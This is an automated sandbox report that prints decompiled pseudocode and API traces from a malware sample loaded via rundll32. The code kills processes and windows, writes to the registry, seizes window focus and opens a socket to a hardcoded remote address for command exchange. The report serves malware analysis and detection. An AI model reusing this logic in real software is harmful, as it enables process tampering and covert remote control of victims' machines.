					 *((intOrPtr*)(_t42 + 0xc)) = _t43;
				}
				_t35 = _v0;
				 *((char*)(_t42 + 0x19)) = _t35;
				return _t35;
			}

0x04a05966
0x04a05973
0x04a05975
0x04a05979
0x04a0597e
0x04a05985
0x04a0598b
0x04a05992
0x04a05999
0x04a0599f
0x04a059aa
0x04a059b0
0x04a059b4
0x04a059b9
0x04a059c3
0x04a059c7
0x04a05a24
0x04a05a26
0x04a05a26
0x04a059e7
0x04a059eb
0x00000000
0x00000000
0x04a059f2
0x04a059fb
0x04a05a03
0x04a05a0b
0x04a05a10
0x04a05a12
0x04a05a12
0x04a05a15
0x04a05a1a
0x04a05a23

APIs

lstrcpyA.KERNEL32(?,9.31,00000002,00000000,?,00000000,04A06CF4,?), ref: 04A05999
GetModuleHandleA.KERNEL32(?,00000000,04A06CF4,?), ref: 04A059BD
GetProcAddress.KERNEL32(00000000,04A196EF), ref: 04A059D1
GetProcAddress.KERNEL32(00000000,?), ref: 04A059DC
GetProcAddress.KERNEL32(00000000,?), ref: 04A059E7
ExitThread.KERNEL32 ref: 04A05A26

Strings

9.31, xrefs: 04A0596E

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AddressProc$ExitHandleModuleThreadlstrcpy
String ID: 9.31
API String ID: 3147507063-989947607
Opcode ID: 9bc90fcaf6f2d196d40807ef480977af2082496ab162f6c6f5cd802663c8ee79
Instruction ID: 6abf2f451e21781d86335d94f62a2b360c7bba8eb7d95e4b6f067f01aafb5fbd
Opcode Fuzzy Hash: 9bc90fcaf6f2d196d40807ef480977af2082496ab162f6c6f5cd802663c8ee79
Instruction Fuzzy Hash: 4F21C271508741AFC320DFA9A840957BFF8EF6C340B44491EF581D3652D774E94A8FA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A019A0 Relevance: 12.1, APIs: 8, Instructions: 66
registryCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E04A019A0() {
				char _v4;
				void* _v8;
				int _t5;
				int _t6;
				int _t7;
				int _t8;
				intOrPtr _t9;
				char _t12;
				intOrPtr* _t21;
				void** _t23;

				_t23 =  &_v8;
				_t5 =  *0x4a16384; // 0x0
				_t21 = __imp__TerminateJobObject;
				if(_t5 != 0) {
					 *_t21(_t5, 0);
					 *0x4a16384 = 0;
				}
				_t6 =  *0x4a16378; // 0x0
				if(_t6 != 0) {
					 *_t21(_t6, 0);
					 *0x4a16378 = 0;
				}
				_t7 =  *0x4a1637c; // 0x0
				if(_t7 != 0) {
					 *_t21(_t7, 0);
					 *0x4a1637c = 0;
				}
				_t8 =  *0x4a16374; // 0x0
				if(_t8 != 0) {
					 *_t21(_t8, 0);
					 *0x4a16374 = 0;
				}
				_t9 =  *0x4a16380; // 0x0
				if(_t9 != 0) {
					 *_t21(_t9, 0);
					 *0x4a16378 = 0;
				}
				_v8 = 0;
				if( *0x4a16c89 > 0x2000) {
					_t12 = RegOpenKeyExA(0x80000002,  *0x4a16ba0, 0, 0xf013f, _t23);
					if(_t12 == 0) {
						_v4 = _t12;
						RegSetValueExA(_v8,  *0x4a16ba4, 0, 4,  &_v4, 4);
					}
				}
				return EnumDesktopWindows( *0x4a16388, E04A01910, 1);
			}

0x04a019a5
0x04a019a0
0x04a019a9
0x04a019b1
0x04a019b6
0x04a019b8
0x04a019b8
0x04a019c2
0x04a019c9
0x04a019ce
0x04a019d0
0x04a019d0
0x04a019da
0x04a019e1
0x04a019e6
0x04a019e8
0x04a019e8
0x04a019f2
0x04a019f9
0x04a019fe
0x04a01a00
0x04a01a00
0x04a01a0a
0x04a01a11
0x04a01a16
0x04a01a18
0x04a01a18
0x04a01a2c
0x04a01a35
0x04a01a4d
0x04a01a55
0x04a01a59
0x04a01a70
0x04a01a70
0x04a01a55
0x04a01a8c

APIs

TerminateJobObject.KERNEL32 ref: 04A019B6
TerminateJobObject.KERNEL32 ref: 04A019CE
TerminateJobObject.KERNEL32 ref: 04A019E6
TerminateJobObject.KERNEL32 ref: 04A019FE
TerminateJobObject.KERNEL32 ref: 04A01A16
RegOpenKeyExA.ADVAPI32(80000002,00000000,000F013F,00000000), ref: 04A01A4D
RegSetValueExA.ADVAPI32(?,00000000,00000004,?,00000004), ref: 04A01A70
EnumDesktopWindows.USER32(Function_00001910,00000001), ref: 04A01A83

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: ObjectTerminate$DesktopEnumOpenValueWindows
String ID:
API String ID: 3443919778-0
Opcode ID: 4bddecdaa02986ec0868b7c5eaef7f681c608e38cd70175706f3ce48e91755f7
Instruction ID: ea343606eaeb71a12a6934af444880a6a560d91775ebbef3b679a906aca91c53
Opcode Fuzzy Hash: 4bddecdaa02986ec0868b7c5eaef7f681c608e38cd70175706f3ce48e91755f7
Instruction Fuzzy Hash: A121E770640310AFFB209F64EC49BD63AECFB24B40F548519F644EA1E0D7BAA857CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04A09A10 Relevance: 12.1, APIs: 8, Instructions: 64
processstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E04A09A10(WCHAR* __ecx) {
				short _v528;
				long _v556;
				char _v560;
				void* _v564;
				void* _v568;
				void* _t20;
				signed int _t21;
				signed int _t23;
				void* _t27;
				WCHAR* _t30;

				_t23 = 0;
				_t30 = __ecx;
				_t20 = CreateToolhelp32Snapshot(2, 0);
				_v564 = _t20;
				if(_t20 != 0xffffffff) {
					_v560 = 0x22c;
					_push( &_v560);
					if(Process32FirstW(_t20) != 0) {
						do {
							if(_t30 != 0 && lstrcmpiW( &_v528, _t30) == 0) {
								_t21 = 0;
								_t27 = OpenProcess(1, 0, _v556);
								if(_t27 != 0) {
									_t21 = TerminateProcess(_t27, 0);
									CloseHandle(_t27);
								}
								_t23 = _t23 | _t21;
								_t20 = _v568;
							}
						} while (Process32NextW(_t20,  &_v564) != 0);
					}
					CloseHandle(_t20);
				}
				return _t23;
			}

0x04a09a19
0x04a09a1b
0x04a09a26
0x04a09a28
0x04a09a2f
0x04a09a36
0x04a09a3e
0x04a09a4e
0x04a09a50
0x04a09a52
0x04a09a68
0x04a09a73
0x04a09a77
0x04a09a88
0x04a09a8a
0x04a09a8a
0x04a09a94
0x04a09a96
0x04a09a96
0x04a09aa6
0x04a09a50
0x04a09aab
0x04a09aad
0x04a09ab9

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04A09A20
Process32FirstW.KERNEL32(00000000,?), ref: 04A09A40
lstrcmpiW.KERNEL32(?,?), ref: 04A09A5A
OpenProcess.KERNEL32(00000001,00000000,?), ref: 04A09A6D
TerminateProcess.KERNEL32(00000000,00000000), ref: 04A09A7B
CloseHandle.KERNEL32(00000000), ref: 04A09A8A
Process32NextW.KERNEL32(00000000,0000022C), ref: 04A09AA0
CloseHandle.KERNEL32(00000000), ref: 04A09AAB

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32lstrcmpi
String ID:
API String ID: 1193533834-0
Opcode ID: 93f7e8cbf16095a5265e3eb36ad6b362ac09f6af926f6274934fedabeb9cba8d
Instruction ID: 82b12315b8ae3e489d752e6b24ff5e71571328c4b6acaa14480656287faa6186
Opcode Fuzzy Hash: 93f7e8cbf16095a5265e3eb36ad6b362ac09f6af926f6274934fedabeb9cba8d
Instruction Fuzzy Hash: 2C11A7B16053196FE7209F61FC88A2B77ACFF98720F404429BA05E3141E6B8AC47C671

Uniqueness

Uniqueness Score: -1.00%

Function 04A04140 Relevance: 12.1, APIs: 8, Instructions: 57
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A04140(long* __ecx, long* __edx, long* _a4, long* _a8, long* _a12) {
				void* _v4;
				void* _v8;
				long* _t11;
				void* _t13;
				void* _t21;
				long _t24;
				long* _t26;
				void* _t28;

				_t26 = _a12;
				_v4 =  *__edx;
				_t11 = _a4;
				_t24 =  *__ecx;
				_t21 =  *_t26;
				_t28 =  *_t11;
				 *__ecx = 0;
				 *__edx = 0;
				 *_t11 = 0;
				_v8 = _t24;
				 *_a8 = 0;
				 *_t26 = 0;
				if(_t24 != 0) {
					TerminateThread(_v8, 0);
					CloseHandle(_v8);
				}
				_t13 = _v4;
				if(_t13 != 0) {
					TerminateThread(_t13, 0);
					_t13 = CloseHandle(_v4);
				}
				if(_t28 != 0) {
					TerminateThread(_t28, 0);
					_t13 = CloseHandle(_t28);
				}
				if(_t21 != 0) {
					TerminateThread(_t21, 0);
					return CloseHandle(_t21);
				}
				return _t13;
			}

0x04a04148
0x04a0414c
0x04a04150
0x04a04155
0x04a04159
0x04a0415b
0x04a0415d
0x04a04163
0x04a04169
0x04a04173
0x04a0417d
0x04a04183
0x04a0418f
0x04a04197
0x04a0419d
0x04a0419d
0x04a0419f
0x04a041a5
0x04a041aa
0x04a041b1
0x04a041b1
0x04a041b5
0x04a041ba
0x04a041bd
0x04a041bd
0x04a041c1
0x04a041c6
0x00000000
0x04a041c9
0x04a041d2

APIs

TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A04197
CloseHandle.KERNEL32(?), ref: 04A0419D
TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A041AA
CloseHandle.KERNEL32(?), ref: 04A041B1
TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A041BA
CloseHandle.KERNEL32(?), ref: 04A041BD
TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 04A041C6
CloseHandle.KERNEL32(00000000), ref: 04A041C9

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseHandleTerminateThread
String ID:
API String ID: 2476175854-0
Opcode ID: 3aa092b0afd2dc904eb2535701a32259df561f179a43f44de5fbf16e6100df26
Instruction ID: c95f1b04b90d623618beb34a157c0f3ed7f94024b56883fe19c687ec7f02977f
Opcode Fuzzy Hash: 3aa092b0afd2dc904eb2535701a32259df561f179a43f44de5fbf16e6100df26
Instruction Fuzzy Hash: A0110C75604319AFD710AF69EC40B0BBBE8FF99750F150859FA44A7290C7B9B8058FA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A0A780 Relevance: 12.0, APIs: 8, Instructions: 38
windowthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A0A780(struct HWND__* __ecx) {
				long _t7;
				struct HKL__* _t8;
				struct HWND__* _t11;

				_t11 = __ecx;
				SetWindowPos(__ecx, 0xffffffff, 0, 0, 0, 0, 0x202b);
				SetWindowPos(_t11, 0xfffffffe, 0, 0, 0, 0, 0x202b);
				SetForegroundWindow(_t11);
				BringWindowToTop(_t11);
				SetActiveWindow(_t11);
				SetFocus(_t11);
				_t7 = GetWindowThreadProcessId(_t11, 0);
				if(_t7 == 0) {
					 *0x4a163f8 = 0xffffffff;
					return _t7;
				} else {
					_t8 = GetKeyboardLayout(_t7);
					 *0x4a163f8 = _t8;
					return _t8;
				}
			}

0x04a0a78e
0x04a0a793
0x04a0a7a9
0x04a0a7b0
0x04a0a7b7
0x04a0a7be
0x04a0a7c5
0x04a0a7ce
0x04a0a7d7
0x04a0a7e6
0x04a0a7f0
0x04a0a7d9
0x04a0a7da
0x04a0a7e0
0x04a0a7e5
0x04a0a7e5

APIs

SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,0000202B,00000000,04A05901,00000000,?,?,?,00000000,04A062BB), ref: 04A0A793
SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,0000202B,?,?,00000000,04A062BB), ref: 04A0A7A9
SetForegroundWindow.USER32(00000000,?,?,00000000,04A062BB), ref: 04A0A7B0
BringWindowToTop.USER32(00000000), ref: 04A0A7B7
SetActiveWindow.USER32(00000000,?,?,00000000,04A062BB), ref: 04A0A7BE
SetFocus.USER32(00000000,?,?,00000000,04A062BB), ref: 04A0A7C5
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 04A0A7CE
GetKeyboardLayout.USER32 ref: 04A0A7DA

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Window$ActiveBringFocusForegroundKeyboardLayoutProcessThread
String ID:
API String ID: 3214104165-0
Opcode ID: c02965fcb5a867afd9814cbb8ccdf71a18ac148517e14897e301d485d6a6fdc2
Instruction ID: bd9c75ab79b44af737d441868a0d80dd529b6e0727461a2ba6fad797941eca68
Opcode Fuzzy Hash: c02965fcb5a867afd9814cbb8ccdf71a18ac148517e14897e301d485d6a6fdc2
Instruction Fuzzy Hash: A7F06D75684301BFE6315B64AC8EF6A3634E7AEF21F250219F321BD1D0CBEC58839625

Uniqueness

Uniqueness Score: -1.00%

Function 04A01910 Relevance: 10.5, APIs: 7, Instructions: 47
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E04A01910(struct HWND__* _a4, intOrPtr _a8) {
				short _v40;
				long _v44;
				long _t13;
				long _t20;
				void* _t23;

				GetCurrentProcessId();
				if(GetWindowThreadProcessId(_a4,  &_v44) == 0 || _v44 == 0) {
					L9:
					return 1;
				} else {
					_t13 = GetCurrentProcessId();
					_t20 = _v44;
					if(_t20 == _t13) {
						goto L9;
					}
					if(_a8 != 0) {
						L7:
						_t23 = OpenProcess(1, 0, _t20);
						if(_t23 != 0) {
							TerminateProcess(_t23, 0);
							CloseHandle(_t23);
						}
						goto L9;
					}
					_push(0x14);
					if(E04A09960(_t20,  &_v40) == 0 || lstrcmpiW( &_v40,  *0x4a167f4) != 0) {
						_t20 = _v44;
						goto L7;
					} else {
						goto L9;
					}
				}
			}

0x04a0191a
0x04a0192d
0x04a01993
0x04a0199c
0x04a01936
0x04a01936
0x04a01938
0x04a0193e
0x00000000
0x00000000
0x04a01945
0x04a01972
0x04a0197d
0x04a01981
0x04a01986
0x04a0198d
0x04a0198d
0x00000000
0x04a01981
0x04a01947
0x04a01957
0x04a0196e
0x00000000
0x00000000
0x00000000
0x00000000
0x04a01957

APIs

GetCurrentProcessId.KERNEL32 ref: 04A0191A
GetWindowThreadProcessId.USER32(?,?), ref: 04A01925
GetCurrentProcessId.KERNEL32 ref: 04A01936
lstrcmpiW.KERNEL32(?), ref: 04A01964
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 04A01977
TerminateProcess.KERNEL32(00000000,00000000), ref: 04A01986
CloseHandle.KERNEL32(00000000), ref: 04A0198D

Part of subcall function 04A09960: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04A09974

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Process$Current$CloseCreateHandleOpenSnapshotTerminateThreadToolhelp32Windowlstrcmpi
String ID:
API String ID: 4193244952-0
Opcode ID: 1334d8720fea959714a7ffd5b075c09133926bc7e5c852c6a43271d139c6489c
Instruction ID: c79a3c337a00fc1875684b13a1fa748e6b4b1a6f7c1e9f54c8fa7d56a1b4e3a1
Opcode Fuzzy Hash: 1334d8720fea959714a7ffd5b075c09133926bc7e5c852c6a43271d139c6489c
Instruction Fuzzy Hash: 21018C35504205AFE7209F34EC44BAE77A8EF54740F048429FA45A21D4E7B5EE86CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A05A30 Relevance: 9.2, APIs: 6, Instructions: 196
networkCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E04A05A30(intOrPtr _a4) {
				intOrPtr _v52;
				short _v56;
				short _v58;
				char _v68;
				char _v72;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v100;
				intOrPtr _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v125;
				char _v126;
				intOrPtr _v140;
				intOrPtr _t30;
				short _t32;
				intOrPtr _t33;
				void* _t38;
				void* _t40;
				void* _t43;
				void* _t45;
				void* _t47;
				void* _t51;
				void* _t53;
				char _t54;
				void* _t55;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				short _t71;
				void* _t75;
				char* _t77;
				char* _t78;
				void* _t80;
				void* _t83;
				void* _t84;
				intOrPtr _t85;
				signed int _t86;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;

				_t88 = (_t86 & 0xfffffff8) - 0x54;
				_t30 =  *0x4a165f0; // 0x7b71be40
				_v52 = _t30;
				_v56 = 2;
				_t32 =  *0x4a176f4( *0x4a165f4 & 0x0000ffff, _t75, _t80, _t65);
				_v58 = _t32;
				_t33 =  *0x4a176d4(2, 1, 6);
				if(2 != 0xffffffff) {
					_push(0x10);
					_push( &_v72);
					_push(2);
					if( *0x4a176e0() == 0) {
						 *0x4a16408 = 2;
						if(2 != 0) {
							goto L5;
						}
					} else {
						 *0x4a176d8(2);
						 *0x4a16408 = 0xffffffff;
						goto L5;
					}
				} else {
					 *0x4a16408 = _t33;
					L5:
					_push(2);
					E04A05960( &_v68, _a4);
					_t67 =  *0x4a16408; // 0x0
					_t77 =  &_v68;
					_t89 = _t88 + 4;
					_t83 = 0x22;
					while(1) {
						_t38 =  *0x4a176dc(_t67, _t77, _t83, 0);
						if(_t38 <= 0) {
							goto L32;
						}
						_t77 = _t77 + _t38;
						_t83 = _t83 - _t38;
						if(_t83 != 0) {
							continue;
						} else {
							_push(1);
							_push( &_v125);
							_t40 = E04A01760( *0x4a16408);
							_t90 = _t89 + 0xc;
							if(_t40 != 0 && _v125 == 0 && E04A0ACE0() != 0) {
								_push(1);
								_push( &_v126);
								_t43 = E04A01760( *0x4a16408);
								_t91 = _t90 + 0xc;
								if(_t43 != 0) {
									do {
										if(_v126 == 0) {
											goto L31;
										} else {
											_t47 = E04A01700( *0x4a16408,  *0x4a163f8 & 0x0000ffff);
											_t92 = _t91 + 8;
											if(_t47 != 0) {
												_t51 = E04A07A40(0x4a165fc,  &_v120,  &_v112,  &_v116);
												_t93 = _t92 + 0x10;
												if(_t51 == 0) {
													_t71 =  &_v108;
													if(E04A0A850(_t71) != 0) {
														_t53 = E04A01740( *0x4a16408, 1);
														_t94 = _t93 + 8;
														if(_t53 != 0) {
															_t54 =  *0x4a1655c; // 0x0
															_push(_t71);
															_v124 = _t54;
															_t55 = E04A0AD39( &_v124, _t71, _t54);
															_t95 = _t94 + 0xc;
															if(_t55 == 0) {
																_t78 =  &_v100;
																_t84 = 0xc;
																_t68 =  *0x4a16408; // 0x0
																_v100 = _v108;
																_v96 = _v104;
																_v92 = _v124;
																while(1) {
																	_t58 =  *0x4a176dc(_t68, _t78, _t84, 0);
																	if(_t58 <= 0) {
																		goto L32;
																	}
																	_t78 = _t78 + _t58;
																	_t84 = _t84 - _t58;
																	if(_t84 != 0) {
																		continue;
																	} else {
																		_t59 = E04A01680( *0x4a16408,  *0x4a1641c, _v140);
																		_t91 = _t95 + 0xc;
																		goto L30;
																	}
																	goto L32;
																}
															}
														}
													} else {
														_t59 = E04A01740( *0x4a16408, _t52);
														_t91 = _t93 + 8;
														L30:
														if(_t59 != 0) {
															goto L31;
														}
													}
												} else {
													_t60 = E04A01740( *0x4a16408, _v120);
													_t96 = _t93 + 8;
													if(_t60 != 0) {
														_t85 = _v116;
														_t61 = E04A016C0( *0x4a16408, _t85);
														_t91 = _t96 + 8;
														if(_t61 != 0) {
															_t79 = _v112;
															if(_v112 == 0 || _t85 == 0) {
																goto L31;
															} else {
																_t62 = E04A01680( *0x4a16408, _t79, _t85);
																_t97 = _t91 + 0xc;
																if(_t62 != 0) {
																	E04A07AA0(_t79, _t85);
																	_t91 = _t97 + 8;
																	goto L31;
																}
															}
														}
													}
												}
											}
										}
										goto L32;
										L31:
										_push(1);
										_push( &_v126);
										_t45 = E04A01760( *0x4a16408);
										_t91 = _t91 + 0xc;
									} while (_t45 != 0);
								}
							}
						}
						goto L32;
					}
				}
				L32:
				 *0x4a163ec = 0;
				return 0;
			}

0x04a05a36
0x04a05a39
0x04a05a48
0x04a05a52
0x04a05a57
0x04a05a63
0x04a05a68
0x04a05a73
0x04a05a7c
0x04a05a82
0x04a05a83
0x04a05a8c
0x04a05aa1
0x04a05aa9
0x00000000
0x00000000
0x04a05a8e
0x04a05a8f
0x04a05a95
0x00000000
0x04a05a95
0x04a05a75
0x04a05a75
0x04a05aaf
0x04a05ab6
0x04a05ab8
0x04a05abd
0x04a05ac3
0x04a05ac7
0x04a05aca
0x04a05ad0
0x04a05ad5
0x04a05add
0x00000000
0x00000000
0x04a05ae3
0x04a05ae5
0x04a05ae7
0x00000000
0x04a05ae9
0x04a05ae9
0x04a05aef
0x04a05af6
0x04a05afb
0x04a05b00
0x04a05b1e
0x04a05b24
0x04a05b2b
0x04a05b30
0x04a05b35
0x04a05b40
0x04a05b45
0x00000000
0x04a05b4b
0x04a05b59
0x04a05b5e
0x04a05b63
0x04a05b7d
0x04a05b82
0x04a05b87
0x04a05bf9
0x04a05c04
0x04a05c22
0x04a05c27
0x04a05c2c
0x04a05c32
0x04a05c3b
0x04a05c3e
0x04a05c42
0x04a05c47
0x04a05c4c
0x04a05c52
0x04a05c5a
0x04a05c5f
0x04a05c65
0x04a05c6d
0x04a05c71
0x04a05c75
0x04a05c7a
0x04a05c82
0x00000000
0x00000000
0x04a05c84
0x04a05c86
0x04a05c88
0x00000000
0x04a05c8a
0x04a05c9a
0x04a05c9f
0x00000000
0x04a05c9f
0x00000000
0x04a05c88
0x04a05c75
0x04a05c4c
0x04a05c06
0x04a05c0d
0x04a05c12
0x04a05ca2
0x04a05ca4
0x00000000
0x00000000
0x04a05ca4
0x04a05b89
0x04a05b93
0x04a05b98
0x04a05b9d
0x04a05ba3
0x04a05bae
0x04a05bb3
0x04a05bb8
0x04a05bbe
0x04a05bc4
0x00000000
0x04a05bd2
0x04a05bda
0x04a05bdf
0x04a05be4
0x04a05bec
0x04a05bf1
0x00000000
0x04a05bf1
0x04a05be4
0x04a05bc4
0x04a05bb8
0x04a05b9d
0x04a05b87
0x04a05b63
0x00000000
0x04a05ca6
0x04a05ca6
0x04a05cac
0x04a05cb3
0x04a05cb8
0x04a05cbb
0x04a05b40
0x04a05b35
0x04a05b00
0x00000000
0x04a05ae7
0x04a05ad0
0x04a05cc3
0x04a05cc5
0x04a05cd5

APIs

htons.WS2_32 ref: 04A05A57
socket.WS2_32(00000002,00000001,00000006), ref: 04A05A68
connect.WS2_32(00000000,?,00000010), ref: 04A05A84
closesocket.WS2_32(00000000), ref: 04A05A8F
send.WS2_32(00000000,?,00000022,00000000), ref: 04A05AD5

Part of subcall function 04A01760: select.WS2_32(?,?,?,?), ref: 04A01799
Part of subcall function 04A01760: recv.WS2_32(?,?,?,00000000), ref: 04A017B5

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: closesocketconnecthtonsrecvselectsendsocket
String ID:
API String ID: 1299002464-0
Opcode ID: ca5be8011384b5870562e9a4032539cc0142add31e1b2f5e595366523a61ea1c
Instruction ID: 959b0df8a894177564b5708c90ce1ed813993fca0e3b1880ff635c47235bc76b
Opcode Fuzzy Hash: ca5be8011384b5870562e9a4032539cc0142add31e1b2f5e595366523a61ea1c
Instruction Fuzzy Hash: 00618FB5D04311AFEB10DB21FE44FA67AE8EB55748F048528F944D22E0E725E946CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A02330 Relevance: 9.1, APIs: 6, Instructions: 107
memoryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E04A02330(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				WCHAR* _v16;
				intOrPtr _v20;
				long _v24;
				signed int _v28;
				char _v32;
				signed int _t27;
				long _t29;
				signed int _t48;
				int _t61;
				signed int _t63;
				void* _t66;

				_push(_a4);
				_push(0);
				_push(0);
				_push( &_v32);
				_v20 = __edx;
				_push( &_v12);
				asm("xorps xmm0, xmm0");
				_push(1);
				_v16 = __ecx;
				asm("movlpd [esp+0x38], xmm0");
				E04A03AA0(__ecx, __edx);
				_t48 = _v8;
				_t66 = (_t63 & 0xfffffff8) - 0x1c + 0x18;
				_t27 = _v12;
				if(_t48 != 0 || _t27 > 0xa00000) {
					_v28 = (_t48 << 0x00000020 | _t27) >> 0x14;
					if( *0x4a1672c != 0) {
						_t61 = LocalAlloc(0, 4);
						if(_t61 != 0) {
							 *_t61 = 0;
							E04A01000(_t61,  &_v28, 4);
							_t66 = _t66 + 0xc;
							EnterCriticalSection(0x4a16714);
							 *0x4a165fc = 0xa;
							 *0x4a16601 = 4;
							 *0x4a165fd = _t61;
							LeaveCriticalSection(0x4a16714);
						}
					}
					_t29 = GetTickCount();
					asm("xorps xmm0, xmm0");
					_v24 = _t29;
					_push(_a4);
					asm("movlpd [esp+0x24], xmm0");
					_push( &_v24);
					_push(E04A02290);
					_push( &_v32);
					_push( &_v12);
					_push(0);
					E04A03AA0(_v16, _v20);
					if( *0x4a1672c != 0) {
						EnterCriticalSection(0x4a16714);
						 *0x4a165fc = 0xb;
						 *0x4a16601 = 0;
						 *0x4a165fd = 0;
						LeaveCriticalSection(0x4a16714);
					}
					return _v32;
				} else {
					_push(_a4);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E04A03AA0(__ecx, __edx);
					return _v32;
				}
			}

0x04a0233c
0x04a02345
0x04a02347
0x04a02349
0x04a0234e
0x04a02352
0x04a02355
0x04a02358
0x04a0235a
0x04a0235e
0x04a02364
0x04a02369
0x04a0236d
0x04a02370
0x04a02376
0x04a023bb
0x04a023bf
0x04a023cb
0x04a023cf
0x04a023d7
0x04a023dc
0x04a023e1
